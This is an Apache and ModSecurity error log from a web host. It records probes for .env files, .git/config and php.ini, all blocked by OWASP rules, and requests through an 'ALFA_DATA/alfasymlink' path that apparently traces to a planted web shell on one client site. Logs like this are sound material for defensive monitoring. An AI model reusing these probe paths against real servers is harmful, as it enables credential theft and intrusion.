[Mon Oct 26 17:58:58.161525 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 18.232.36.1:62537] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:59:02.258409 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.205.163.103:47720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:59:10.314002 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 35.169.119.108:48087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:59:46.147246 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.207.79.144:29376] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 17:59:54.251083 2026] [ssl:error] [pid 3106856:tid 3106856] (70014)End of file found: [client 52.204.253.129:40213] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:06.201109 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.73.142.41:51481] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:18.172319 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.196.6.199:6694] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:22.220964 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.234.206.30:43345] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:26.270454 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.84.60.17:61078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:30.198806 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.89.176.255:3423] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:38.168778 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.225.98.148:30005] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:42.414108 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.215.77.19:55210] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:50.281693 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.236.135.14:4024] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:00:58.182208 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.196.237.236:44371] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:01:03.169286 2026] [security2:error] [pid 3098113:tid 3098113] [client 43.157.181.189:53366] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at_Nn7HarSgES5WqcDhHCAAAAAU"]
[Mon Oct 26 18:01:03.170549 2026] [authz_core:error] [pid 3098113:tid 3098113] [client 43.157.181.189:53366] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 18:01:06.180388 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.213.36.21:20561] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:01:10.204512 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.84.93.8:36711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:01:18.177938 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.45.77.169:55991] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:01:23.144994 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 54.225.181.161:24326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/virtio2/driver/unbind
[Mon Oct 26 18:01:25.951298 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.19:50086] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/sysup"] [unique_id "at_NtbHarSgES5WqcDhHCQAAAAU"]
[Mon Oct 26 18:01:25.951358 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.19:50086] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/sysup"] [unique_id "at_NtbHarSgES5WqcDhHCQAAAAU"]
[Mon Oct 26 18:01:26.331644 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 44.217.255.167:25654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:01:38.168169 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 23.23.214.190:63990] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:01:42.159911 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.210.58.238:49489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:01:50.397344 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 52.44.148.203:44648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/8250_mid/unbind
[Mon Oct 26 18:01:57.866513 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 185.191.171.7:61014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/object_size
[Mon Oct 26 18:01:58.215127 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.213.240.226:23748] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:02:06.187943 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.84.93.8:25491] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:02:50.264372 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.235.172.96:32134] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:03:11.316785 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.199:63082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/order
[Mon Oct 26 18:03:14.216463 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 98.82.214.73:2755] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:03:22.305338 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.235.172.108:11270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:03:30.179942 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.45.77.169:31083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:03:34.247677 2026] [core:error] [pid 3106856:tid 3106856] (13)Permission denied: [client 98.82.214.73:27895] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:01/PNP0303:00/physical_node1/subsystem/drivers_probe
[Mon Oct 26 18:03:38.320089 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.44.148.203:55904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:03:42.262618 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.21.119.232:10424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:03:46.388548 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 100.28.44.58:60086] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:03:49.378398 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.15:64056] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-p052.conf"] [unique_id "at_ORT77nSD73jfhp0aDFgAAAAc"]
[Mon Oct 26 18:03:49.378804 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.15:64056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-p052.conf"] [unique_id "at_ORT77nSD73jfhp0aDFgAAAAc"]
[Mon Oct 26 18:03:49.379155 2026] [security2:error] [pid 3100940:tid 3100940] [client 185.191.171.15:64056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/61-urw-p052.conf"] [unique_id "at_ORT77nSD73jfhp0aDFgAAAAc"]
[Mon Oct 26 18:03:50.309058 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.214.238.178:54573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:04:04.743586 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_OVKFL9aMETz-8AU8fggAAAAQ"]
[Mon Oct 26 18:04:04.743866 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_OVKFL9aMETz-8AU8fggAAAAQ"]
[Mon Oct 26 18:04:04.744194 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at_OVKFL9aMETz-8AU8fggAAAAQ"]
[Mon Oct 26 18:04:04.796527 2026] [core:error] [pid 3098113:tid 3098113] (13)Permission denied: [client 185.191.171.13:49220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/aliases
[Mon Oct 26 18:04:06.186044 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.5.232.250:7520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 18:04:06.337352 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_OVqFL9aMETz-8AU8fhAAAAAQ"]
[Mon Oct 26 18:04:06.337609 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_OVqFL9aMETz-8AU8fhAAAAAQ"]
[Mon Oct 26 18:04:06.337939 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_OVqFL9aMETz-8AU8fhAAAAAQ"]
[Mon Oct 26 18:04:06.476424 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at_OVqFL9aMETz-8AU8fhQAAAAQ"]
[Mon Oct 26 18:04:06.476661 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at_OVqFL9aMETz-8AU8fhQAAAAQ"]
[Mon Oct 26 18:04:06.477012 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at_OVqFL9aMETz-8AU8fhQAAAAQ"]
[Mon Oct 26 18:04:06.591149 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at_OVqFL9aMETz-8AU8fhgAAAAQ"]
[Mon Oct 26 18:04:06.591447 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at_OVqFL9aMETz-8AU8fhgAAAAQ"]
[Mon Oct 26 18:04:06.591807 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at_OVqFL9aMETz-8AU8fhgAAAAQ"]
[Mon Oct 26 18:04:06.716180 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at_OVqFL9aMETz-8AU8fhwAAAAQ"]
[Mon Oct 26 18:04:06.716511 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at_OVqFL9aMETz-8AU8fhwAAAAQ"]
[Mon Oct 26 18:04:06.716870 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at_OVqFL9aMETz-8AU8fhwAAAAQ"]
[Mon Oct 26 18:04:06.821199 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at_OVqFL9aMETz-8AU8fiAAAAAQ"]
[Mon Oct 26 18:04:06.821456 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at_OVqFL9aMETz-8AU8fiAAAAAQ"]
[Mon Oct 26 18:04:06.821802 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at_OVqFL9aMETz-8AU8fiAAAAAQ"]
[Mon Oct 26 18:04:06.925678 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at_OVqFL9aMETz-8AU8fiQAAAAQ"]
[Mon Oct 26 18:04:06.925866 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at_OVqFL9aMETz-8AU8fiQAAAAQ"]
[Mon Oct 26 18:04:06.926089 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at_OVqFL9aMETz-8AU8fiQAAAAQ"]
[Mon Oct 26 18:04:07.069739 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at_OV6FL9aMETz-8AU8figAAAAQ"]
[Mon Oct 26 18:04:07.069932 2026] [security2:error] [pid 3083765:tid 3083765] [client 34.17.201.39:48022] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at_OV6FL9aMETz-8AU8figAAAAQ"]
